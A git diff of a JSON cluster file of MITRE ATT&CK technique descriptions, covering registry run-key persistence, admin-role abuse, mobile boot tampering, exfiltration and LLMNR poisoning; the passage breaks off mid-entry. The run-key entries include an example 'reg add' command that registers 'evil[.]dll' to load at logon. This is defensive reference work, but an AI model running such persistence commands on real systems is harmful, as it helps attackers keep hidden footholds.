diff --git a/clusters/mitre-attack-pattern.json b/clusters/mitre-attack-pattern.json index 7ef8b0bb..9f75e7b5 100644 --- a/clusters/mitre-attack-pattern.json +++ b/clusters/mitre-attack-pattern.json @@ -378,7 +378,15 @@ "https://attack.mitre.org/techniques/T1445" ] }, - "related": [], + "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "51aedbd6-2837-4d15-aeb0-cb09f2bf22ac", "value": "Abuse of iOS Enterprise App Signing Key - T1445" }, @@ -618,7 +626,7 @@ "value": "Identify vulnerabilities in third-party software libraries - T1389" }, { - "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", + "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", "meta": { "external_id": "CAPEC-270", "kill_chain": [ @@ -642,6 +650,7 @@ "https://capec.mitre.org/data/definitions/270.html", "https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry", "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", + "https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key", "https://technet.microsoft.com/en-us/sysinternals/bb963902" ] }, @@ -685,15 +694,40 @@ "value": "Clear Linux or Mac System Logs - T1070.002" }, { - "description": "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) \n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ", + "description": "An adversary may add the Global Administrator role to an adversary-controlled account to maintain persistent access to an Office 365 tenant.(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins) via the global admin role.(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity.", + "meta": { + "external_id": "T1098.003", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "User Account: User Account Modification" + ], + "mitre_platforms": [ + "Office 365" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1098/003", + "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide", + "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d" + ] + }, + "related": [ + { + "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27", + "type": "subtechnique-of" + } + ], + "uuid": "2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3", + "value": "Add Office 365 Global Administrator Role - T1098.003" + }, + { + "description": "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise) \n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ", "meta": { "external_id": "T1195.001", "kill_chain": [ "mitre-attack:initial-access" ], - "mitre_data_sources": [ - "File: File Metadata" - ], "mitre_platforms": [ "Linux", "macOS", @@ -747,37 +781,6 @@ "uuid": "34e793de-0274-4982-9c1a-246ed1c19dee", "value": "Windows File and Directory Permissions Modification - T1222.001" }, - { - "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Grace-Advertisement)", - "meta": { - "external_id": "SPC-15", - "kill_chain": [ - "mitre-mobile-attack:initial-access" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1474/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-0.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-10.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-15.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-3.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-9.html", - "https://www.csc2.ncsu.edu/faculty/xjiang4/pubs/WISEC12_ADRISK.pdf" - ] - }, - "related": [ - { - "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", - "type": "subtechnique-of" - } - ], - "uuid": "7827ced0-95e7-4d05-bdcf-0d8f2d37a3d3", - "value": "Compromise Software Dependencies and Development Tools - T1474.001" - }, { "description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.", "meta": { @@ -790,8 +793,7 @@ "mitre_data_sources": [ "File: File Creation", "File: File Modification", - "Process: Process Creation", - "Windows Registry: Windows Registry Key Modification" + "Process: Process Creation" ], "mitre_platforms": [ "Windows" @@ -850,12 +852,6 @@ "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.\n\nThe startup folder path for the current user is:\n* C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\nThe startup folder path for all users is:\n* C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\n\nThe following run keys are created by default on Windows systems:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nThe HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", "meta": { "external_id": "CAPEC-270", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://msdn.microsoft.com/en-us/library/aa376977", "https://attack.mitre.org/techniques/T1060", @@ -966,15 +962,7 @@ "https://www.youtube.com/watch?v=q0n5ySqbfdI" ] }, - "related": [ - { - "dest-uuid": "0f4fb01b-d57a-4375-b7a2-342c9d3248f7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "52651225-0b3a-482d-aa7e-10618fd063b5", "value": "Exploit SS7 to Track Device Location - T1450" }, @@ -1006,7 +994,15 @@ "https://attack.mitre.org/techniques/T1441" ] }, - "related": [], + "related": [ + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "a21a6a79-f9a1-4c87-aed9-ba2d79536881", "value": "Stolen Developer Credentials or Signing Keys - T1441" }, @@ -1084,15 +1080,7 @@ "https://attack.mitre.org/techniques/T1452" ] }, - "related": [ - { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69", "value": "Manipulate App Store Rankings or Ratings - T1452" }, @@ -1341,6 +1329,53 @@ "uuid": "b3253d9e-ba11-430f-b5a3-4db844ce5413", "value": "Unauthorized user introduces compromise delivery mechanism - T1387" }, + { + "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.\n\nMany Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.\n\nIf the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.", + "meta": { + "external_id": "APP-27", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion", + "mitre-mobile-attack:persistence" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1398", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", + "https://www.apple.com/business/docs/iOS_Security_Guide.pdf", + "https://www2.samsungknox.com/en/faq/what-knox-warranty-bit-and-how-it-triggered" + ] + }, + "uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", + "value": "Modify OS Kernel or Boot Partition - T1398" + }, + { + "description": "If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection(Citation: Krebs-JuiceJacking).\n\nPrevious demonstrations have included:\n\n* Injecting malicious applications into iOS devices(Citation: Lau-Mactans).\n* Exploiting a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location(Citation: IBM-NexusUSB).\n* Exploiting Android devices such as the Google Pixel 2 over USB(Citation: GoogleProjectZero-OATmeal).\n\nProducts from Cellebrite and Grayshift purportedly can use physical access to the data port to unlock the passcode on some iOS devices(Citation: Computerworld-iPhoneCracking).", + "meta": { + "external_id": "PHY-1", + "kill_chain": [ + "mitre-mobile-attack:initial-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/", + "https://attack.mitre.org/techniques/T1458", + "https://googleprojectzero.blogspot.com/2018/09/oatmeal-on-universal-cereal-bus.html", + "https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf", + "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html", + "https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/", + "https://www.computerworld.com/article/3268729/apple-ios/two-vendors-now-sell-iphone-cracking-technology-and-police-are-buying.html" + ] + }, + "uuid": "667e5707-3843-4da8-bd34-88b922526f0d", + "value": "Exploit via Charging Station or PC - T1458" + }, { "description": "Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working.\n\nDelivery methods for the malicious application include:\n\n* [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) - Including the mobile app package as an attachment to an email message.\n* [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means.\n* Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird)\n\nSome Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa)", "meta": { @@ -1380,6 +1415,39 @@ "uuid": "e8471f43-2742-4fd7-9af7-8ed1330ada37", "value": "Upload, install, and configure software/tools - T1362" }, + { + "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ", + "meta": { + "external_id": "T1048.003", + "kill_chain": [ + "mitre-attack:exfiltration" + ], + "mitre_data_sources": [ + "Command: Command Execution", + "File: File Access", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "https://attack.mitre.org/techniques/T1048/003" + ] + }, + "related": [ + { + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "type": "subtechnique-of" + } + ], + "uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", + "value": "Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - T1048.003" + }, { "description": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)", "meta": { @@ -1419,64 +1487,6 @@ "uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", "value": "LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" }, - { - "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ", - "meta": { - "external_id": "T1048.003", - "kill_chain": [ - "mitre-attack:exfiltration" - ], - "mitre_data_sources": [ - "Command: Command Execution", - "File: File Access", - "Network Traffic: Network Connection Creation", - "Network Traffic: Network Traffic Content", - "Network Traffic: Network Traffic Flow" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "refs": [ - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", - "https://attack.mitre.org/techniques/T1048/003" - ] - }, - "related": [ - { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", - "type": "subtechnique-of" - } - ], - "uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", - "value": "Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" - }, - { - "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.\n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). Adversaries may employ custom or publicly available encoding/compression algorithms (such as base64) or embed data within protocol headers and fields.", - "meta": { - "external_id": "APP-30", - "kill_chain": [ - "mitre-mobile-attack:exfiltration" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1639/001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html" - ] - }, - "related": [ - { - "dest-uuid": "3e091a89-a493-4a6c-8e88-d57be19bb98d", - "type": "subtechnique-of" - } - ], - "uuid": "37047267-3e56-453c-833e-d92b68118120", - "value": "Exfiltration Over Unencrypted Non-C2 Protocol - T1639.001" - }, { "description": "Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic.", "meta": { @@ -1609,7 +1619,7 @@ "value": "SIP and Trust Provider Hijacking - T1553.003" }, { - "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.", + "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime. (Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) 